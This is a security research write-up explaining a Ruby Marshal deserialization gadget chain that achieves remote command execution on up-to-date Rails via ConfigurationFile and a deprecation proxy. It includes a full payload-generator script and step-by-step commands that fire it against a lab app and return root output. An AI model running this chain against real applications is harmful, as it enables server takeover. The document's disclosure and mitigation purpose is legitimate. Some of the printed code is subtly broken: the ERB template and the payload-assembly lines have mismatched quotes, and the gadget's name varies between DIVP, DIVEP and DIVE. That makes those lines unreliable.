

TECHNICAL DOCUMENT

Another Ruby Marshal Chain

RCE in Rails without deserialising ERB

s3r4ph1el

2026-06-11

Contents

1. About this document.....	3
2. Required Ruby fundamentals	3
3. How Marshal works	5
4. ERB and the <code>@_init</code> guard	5
5. The two gadgets.....	6
6. The PoC, line by line	9
7. Execution, step by step.....	10
8. Reach and versions.....	11
9. Gadget or vulnerability?	11
10. Mitigation	12
11. References	12

1. About this document

This text explains, from scratch, a **deserialization gadget** in Ruby on Rails. It is a chain of two legitimate framework classes. When an application calls `Marshal.load` on attacker-controlled data, this chain leads to command execution on the server. It works even on a fully up-to-date Rails, after the CVE-2026-41316 fix.

The goal is that someone with general programming knowledge can follow every piece. So the document is built bottom-up. First the Ruby fundamentals the chain uses. Then each function, seen from the inside with an example. Only then the assembled chain and the PoC.

No Rails or Ruby class is faulty. The real vulnerability is the application calling `Marshal.load` on untrusted data, classified as `CWE-502`. The classes involved behave exactly as designed.

How to read it: each fundamentals subsection ends with a `# =>` example showing input and output. Read the example, not just the description. The internal behaviour of each function is what makes the chain possible.

2. Required Ruby fundamentals

If you already write Ruby, skip to section 4. The subsections below cover only what the chain uses, each with a short demonstration.

2.1 Objects and instance variables

In Ruby, every value is an object. An object holds state in **instance variables**, which start with `@`. They are only reachable from inside the object.

```
class Person
  def initialize(name)
    @name = name          # @name is an instance variable
  end
  def name = @name        # reader method
end

p = Person.new("Ana")     # creates the object and runs initialize
p.name                    # => "Ana"
```

Keep two things in mind. `@name` only exists inside the object. And `initialize` runs automatically when you use `.new`.

2.2 Methods callable with no arguments

Arguments can have default values. When *all* of them have defaults, the method can be called with nothing. This also holds for keyword arguments.

```
def config(mode: "prod", **rest)  # keyword arg with a default
  mode
end

config                            # => "prod"  (callable with no arguments at all)
```

This detail is central. Later, the chain can only trigger a method if that method accepts being called with no arguments.

2.3 `send` : calling a method by name

You can invoke a method whose name lives in a variable (a `Symbol`). This is *dynamic dispatch*: "on this object, call the method whose name is stored here".

```
p.send(:name)          # => "Ana"    (same as p.name)
p.__send__(:name)      # => "Ana"    (the override-proof version)
```

2.4 `method_missing` : intercepting missing methods

When you call a method the object does not have, Ruby calls `method_missing` before raising. Overriding it lets the object "respond" to any call.

```
class Proxy
  def method_missing(name, *args)
    "you called #{name}"
  end
end

Proxy.new.anything      # => "you called anything"
```

2.5 `undef_method` : the transparent proxy

`undef_method` deletes a method from a class, even an inherited one. If you delete *all* the normal methods of an object, any call on it falls into `method_missing`. That is the recipe for a transparent proxy.

```
class Transparent
  instance_methods.each { |m| undef_method(m) unless m.to_s.start_with?("__") }
  def method_missing(name, *a) = "intercepted: #{name}"
end

Transparent.new.hash     # => "intercepted: hash"    (even .hash lands here)
```

Look at the last line. Even `.hash`, a method every object has, was removed and now falls into `method_missing`. That is the gear behind the chain's trigger.

2.6 `allocate` : an object without `initialize`

`.new` does two things: it allocates the object and runs `initialize`. `allocate` does only the first. The object is born empty, never passing through the constructor.

```
p = Person.allocate      # the object exists, but initialize did NOT run
p.name                   # => nil      (@name was never set)

p.instance_variable_set(:@name, "forged")
p.name                   # => "forged"
```

Compare the two creation routes:

Route	Runs <code>initialize</code> ?	Constructor validation
<code>Person.new("Ana")</code>	yes	applied
<code>Person.allocate</code>	no	skipped

With `allocate` plus `instance_variable_set`, an attacker builds an object with any internal state and skips every validation `initialize` would run. As the next section shows, `Marshal.load` does exactly this.

2.7 `UnboundMethod#bind` : borrowing a method "from outside"

If a class removed its own `instance_variable_set` (via `undef_method`), you can still reach `Object`'s original implementation and apply it to that object.

```
ivset = Object.instance_method(:instance_variable_set) # "unbound" method
ivset.bind(obj).call(:@x, 123) # applies the real implementation to obj
obj.instance_variable_get(:@x) # => 123
```

The PoC uses this to populate a proxy that deleted its own setter.

3. How `Marshal` works

`Marshal` is Ruby's native binary format for serializing objects.

```
bytes = Marshal.dump(["a", 1]) # object -> bytes
Marshal.load(bytes) # => ["a", 1] (bytes -> object)
```

Two behaviours of `load` hold up the whole chain.

First: `load` rebuilds instance variables without calling `initialize`. It is the same effect as `allocate` from section 2.6. The object comes back with the state that was in the bytes, with no constructor validation. An attacker who controls the bytes controls the internal state of the rebuilt object.

Second: when rebuilding a Hash, `load` calls `.hash` on each key. It needs the hash code to decide which "bucket" the key goes into. The example below makes it visible:

```
class Spy
  def hash
    puts " .hash was called on me!"
    super
  end
end

Marshal.load(Marshal.dump({ Spy.new => "value" }))
# prints: .hash was called on me!
```

That is the trick. Placing an object as a **Hash key** in a payload makes `load` call a method on that object during deserialization. That is what turns "loading data" into "running a method".

The format's type markers that appear in the PoC: `\x04\x08` (version header), `o` (a generic object), `{` (a Hash), `:` (a Symbol), `I` (a String with encoding).

In short: `Marshal.load` on attacker data rebuilds arbitrary objects, with arbitrary state, and calls a method on them. All that is left is to chain classes whose methods, in that order, end in code execution.

4. ERB and the `@_init` guard

ERB is Ruby's templating library. It compiles a template into a string of source code and, when rendering, runs `eval` on that string. Whoever controls the template controls the executed code.

```
require "erb"
ERB.new("<%= system('id') %>").result # runs the command "id"
```

For years, ERB was the obvious destination for Marshal gadgets. You just rebuilt an ERB object with malicious source code and called `result`. To close that, Ruby added a **guard**: an ERB object only executes if it was genuinely initialized.

4.1 What CVE-2026-41316 fixed

The fix (April 2026) extended the guard to every path reaching `eval`, including `def_method`, `def_module` and `def_class`:

```
def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class) # the guard
    raise ArgumentError, "not initialized"
  end
  ...
end
```

There is an important subtlety. The `@_init` sentinel is not a boolean. `initialize` sets `@_init = self.class.singleton_class`, and the guard requires `@_init` to be `.equal?` to that specific singleton class. This closes even the forgery. Setting `@_init = true` in the payload does not pass, because `true` is not the singleton class.

```
fresh = ERB.new("<%= 1 %>") # initialize sets @_init
fresh.instance_variable_get(:@_init) # => #<Class:#<ERB...>> (valid)

viaload = Marshal.load(Marshal.dump(fresh))
viaload.instance_variable_get(:@_init) # => nil (initialize did not run)
# any execution path on this object now raises "not initialized"
```

The direct conclusion: deserializing an ERB object to run code is closed.

4.2 The gap: a fresh ERB is born with the guard satisfied

The guard only watches ERB that came from Marshal. Suppose the chain can make **Rails itself** create an `ERB.new(...)` at runtime. That *fresh* ERB passes through `initialize` normally, gets a valid `@_init`, and the guard has nothing to block. There is no deserialized ERB anywhere.

The question becomes concrete. Is there, in Rails, a method callable with no arguments that does `ERB.new(@some_ivar).result`, with `@some_ivar` under the attacker's control? There is.

5. The two gadgets

5.1 The sink: ActiveSupport::ConfigurationFile

This is the class Rails uses to read configuration files such as `database.yml`, which may contain ERB. The relevant snippet:

```

def parse(context: nil, **options) # callable with no arguments
  source = @content.include?("<%") ? render(context) : @content
  # ... YAML.load(source) ...
end

def render(context)
  erb = ERB.new(@content).tap { |e| e.filename = @content_path } # fresh ERB
  context ? erb.result(context) : erb.result # executes
end

```

Read the flow following `@content` :

1. `parse` has only keyword args with defaults, so it accepts being called with no arguments.
2. If `@content` contains the `<%` marker, `parse` calls `render`.
3. `render` does `ERB.new(@content).result`. The ERB is **new**, created on the spot. Since it went through `initialize`, `@_init` is valid and the guard from section 4.1 does not apply.
4. `@content` is an ordinary instance variable. With `allocate` plus `instance_variable_set`, the attacker sets `@content = "<%= system('id') %>"`.

In other words: `parse`, called with no arguments on a forged object, runs the ERB the attacker placed in `@content`. That is the direct sink.

Prior art: this class was already known to gadget researchers. elttam (Alex Brown, 2025) listed it, but as a file-read candidate (`ConfigurationFile.new('/etc/passwd').to_json`), and discarded it. The `parse` → `render` → `ERB.new` path (code execution) is a different method and a different capability. That is the part that was undocumented.

5.2 The trigger: `DeprecatedInstanceVariableProxy` (DIVP)

One piece is missing. `Marshal.load` rebuilds objects, but it does not call `parse` on them by itself. We need something that invokes a method as a side effect of deserialization. That is the role of ActiveSupport's `DeprecatedInstanceVariableProxy`.

This class is a deprecation proxy. It wraps an object and warns when something uses it. To intercept any method, it inherits from `DeprecationProxy` :

```

instance_methods.each { |m| undef_method(m) unless /^_|^object_id$/ .match?(m) }

def method_missing(called, *args, &block)
  warn(...)
  target.__send__(called, *args, &block) # dispatches to the wrapped object
end

def target
  @instance.__send__(@method) # calls @method on @instance
end

```

We saw both gears in section 2. Every method was deleted, so even `.hash` falls into `method_missing` (2.5). And `method_missing` calls `target`, which does `@instance.__send__(@method)` (2.3). Substituting the values the attacker forges:

```
proxy.hash
  → method_missing(:hash)
    → target
      → @instance.__send__(@method)
        = ConfigurationFile.__send__(:parse)
```

Only "any call on the proxy" is missing. Section 3 already delivered it: when rebuilding a Hash, `Marshal.load` calls `.hash` on the keys. Just put the DIVEP as a **Hash key** in the payload.

5.3 The full chain

```
Marshal.load(Hash{ DIVEP => "x" })
1. The Hash inserts the key → calls DIVEP.hash
2. .hash was deleted → method_missing → target → @instance.__send__(@method)
   where @instance = ActiveSupport::ConfigurationFile, @method = :parse
3. ConfigurationFile#parse → render(nil) (because @content contains "<%")
4. ERB.new(@content).result → eval → system("id") → command execution
```

Two gadgets, one type confusion. The DIVEP passes itself off as a "hashable" object, one that would have an ordinary `.hash`. In truth, any call on it becomes dispatch to another method. No Sprockets, no Rack, no intermediate gadget. Only **ActiveSupport loaded**, present in every Rails app.

6. The PoC, line by line

The script below generates the `Marshal` blob in base64. It runs on the attacker's machine. The result is the blob you send to the target.

```
#!/usr/bin/env ruby
require 'base64'
require 'active_support'
require 'active_support/configuration_file'
require 'active_support/deprecation'

cmd = ARGV[0] || 'id'

# (1) Forge the sink: a ConfigurationFile with @content = a malicious ERB template.
#     allocate => no initialize, so no validation runs.
cf = ActiveSupport::ConfigurationFile.allocate
cf.instance_variable_set(:@content, "<%= system("#{cmd.inspect}) %>")
cf.instance_variable_set(:@content_path, 'x')

# (2) Disarm the DIVEP during generation. Otherwise the chain would fire right here,
#     on the attacker's machine, while building the object.
klass = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
klass.define_method(:hash) { 12345 }
saved_mm = klass.instance_method(:method_missing)
klass.define_method(:method_missing) { |_| nil }

dep = ActiveSupport::Deprecation.new
dep.instance_variable_set(:@silenced, true)

# (3) Populate the proxy's ivars. Since the DIVEP deleted its own
#     instance_variable_set, we use Object's bind (section 2.7).
ivset = Object.instance_method(:instance_variable_set)
proxy = klass.allocate
ivset.bind(proxy).call(:@instance, cf)          # the sink
ivset.bind(proxy).call(:@method, :parse)       # the method to fire
ivset.bind(proxy).call(:@var, :@x)
ivset.bind(proxy).call(:@deprecator, dep)

# (4) Serialize the proxy alone and assemble the Hash wrapper byte by byte.
proxy_dump = Marshal.dump(proxy)
proxy_inner = proxy_dump[2..]                  # strip the \x04\x08 header
payload = "\x04\x08{\x06" + proxy_inner + "I"\x06x\x06:\x06ET"
#           ^header ^Hash 1 pair      ^the proxy    ^value "x" (String)

# (5) Restore the DIVEP to its original state (hygiene; leaves the process clean).
klass.define_method(:method_missing, saved_mm)
klass.remove_method(:hash) rescue nil

puts Base64.strict_encode64(payload)
```

Four points are not obvious. Each exists for a concrete reason:

- **allocate in step (1).** Builds the `ConfigurationFile` without `initialize`. So `@content` receives an ERB template instead of a file path, and no validation gets in the way.
- **Disarming the DIVEP in step (2).** The DIVEP is a trap that fires on any touch. To fill it without detonating it on our own machine, we redefine `.hash` and `method_missing` temporarily to do nothing.
- **ivset.bind in step (3).** The proxy deleted its own `instance_variable_set`. Object's `bind` hands back the real setter so we can populate the ivars.

- **Manual wrapper in step (4).** A `Marshal.dump({proxy => "x"})` would call `.hash` at dump time and fire the chain here. So we serialize only the proxy and prepend the bytes of a one-pair Hash by hand. The trigger then happens *on the target*, inside `Marshal.load`.

7. Execution, step by step

There is a public lab that reproduces everything. It is a minimal app that `Marshal.load`s a POST parameter, vulnerable on purpose: github.com/S3r4ph1el/another-ruby-marshall-chain.

Step 1: Bring up the lab

```
git clone https://github.com/S3r4ph1el/another-ruby-marshall-chain
cd another-ruby-marshall-chain
docker compose up -d --build
```

This brings up a local server on `127.0.0.1:3000`. The `/marshal` route does `Marshal.load(Base64.decode64(params['p']))`, exactly the `CWE-502` anti-pattern.

Step 2: Generate the payload

```
B64=$(docker compose exec lab bundle exec ruby /exploit/gen_payload.rb 'id')
```

`gen_payload.rb` is the script from section 6. `B64` now holds the base64 Marshal blob, around 600 characters, encoding `{ DIVE(@instance=ConfigurationFile(@content="<%= system('id') %>"), @method=:parse) => "x" }`.

Step 3: Send it to the target

```
curl -s -X POST --data-urlencode "p=$B64" http://127.0.0.1:3000/marshal
```

Step 4: The chain firing on the server

1. The server decodes the base64 and calls `Marshal.load(bytes)`.
2. `load` rebuilds the Hash and, to insert the key, calls `.hash` on the DIVE.
3. `.hash` was deleted on the DIVE, so it falls into `method_missing`.
4. `method_missing` calls `target`, which does `@instance.__send__(@method)`, that is `ConfigurationFile#parse`.
5. `parse` sees that `@content` contains `<%=` and calls `render`.
6. `render` does `ERB.new(@content).result`, a fresh ERB with a valid `@_init`, so the CVE's guard does not apply.
7. The ERB evaluates `<%= system('id') %>` and the `id` command runs on the server.

Step 5: Expected result

```
stdout:
uid=0(root) gid=0(root) groups=0(root)
```

The lab app captures the command's stdout and returns it in the HTTP response. `uid=0(root)` confirms execution (the Ruby process runs as root in the container). Swapping `'id'` for another command in Step 2 runs that other command.

8. Reach and versions

Each combination was *executed* in a clean container. The chain fired `system()` end to end, from Ruby 3.2 to Ruby 4.0.5 (the latest).

ActiveSupport	does the chain fire?
7.0.8.7	yes
7.1.6	yes
7.2.2.1	yes
8.0.2	yes
8.1.3	yes

The 8.1.3 row was validated on the fully up-to-date stack: **Ruby 4.0.5 + ActiveSupport 8.1.3 + erb 6.0.4**, the ERB already patched for CVE-2026-41316. The chain fires anyway, because it never deserialises an ERB.

What defines the reach is not the gem version. The methods are identical across the whole range. What matters is what is **loaded**:

- The `ConfigurationFile` sink lives in ActiveSupport, present in every Rails app, including Rails 8 with Propshaft. It loads via autoload, and `Marshal.load` itself triggers that autoload.
- A secondary prerequisite: ERB must be loaded. On ActiveSupport 8.0+, `render` does `require "erb"` by itself. On ActiveSupport 7.0–7.2, ERB must already be loaded, which is always the case in a real Rails app, because `ActionView` pulls in ERB.

9. Gadget or vulnerability?

The two terms describe different things. A **gadget** is legitimate code repurposed as a step: `ConfigurationFile#parse`, `DeprecationProxy` and ERB all do exactly what they promise. The **vulnerability** is the defect that opens the door, and it lives in a single spot: the application calling `Marshal.load` on attacker bytes, which is `CWE-502`. It is in the app, not in Rails.

The subtlety is what ERB's guard promises: it checks **object provenance** (was this ERB run through `initialize`?), not **content trust** (is this template safe?). Since the chain has Rails instantiate a legitimate ERB at runtime, the guard has nothing to block, and running a freshly built template is ERB's job, not a vector someone forgot. That's why it isn't a bypass: no control was circumvented, and there's nothing for ERB to close.

CVE-2026-41316 fixes the boundary: there the defect was ERB's (a security promise with a hole). Here no lib breaks a promise, so the durable fix is not to deserialize untrusted data, not to "patch" a gadget.

10. Mitigation

In order of effectiveness:

1. Never call `Marshal.load` on user-controlled data. It is the anti-pattern known for ~15 years. Prefer JSON, MessagePack or CBOR with a strict schema.
2. If binary deserialization is unavoidable (e.g. an internal encrypted cookie), validate the signature before loading, with `message_verifier` or `MessageEncryptor`.
3. Restrict the classes accepted on load: `Marshal.load(blob, permitted_classes: [...])` (Ruby 3.x+).
4. Audit `serialize :col`, `MarshalSerializer` columns in ActiveRecord models, influenceable by SQLi, mass assignment or an update race.

11. References

- Lab: reproducible PoC
- elttam: `ConfigurationFile` as file-read (2025)
- behradtaher: ERB as a "dead end"
- httpvoid: Ruby deserialization gadget on Rails (2021)
- nastystereo: Ruby 3.4 universal RCE (2025)
- elttam: Ruby 2.x universal RCE (2018)
- Include Security: gadget chains in Ruby (2024)
- GitHub Security Lab: unsafe deserialization in Ruby (2024)
- Trail of Bits: Marshal madness (2025)
- CVE-2026-41316: advisory
- Source: `ConfigurationFile` (v7.1.6)
- Source: `DeprecatedInstanceVariableProxy` (v7.1.6)
- Source: ERB `def_method guard` (v4.0.4.1)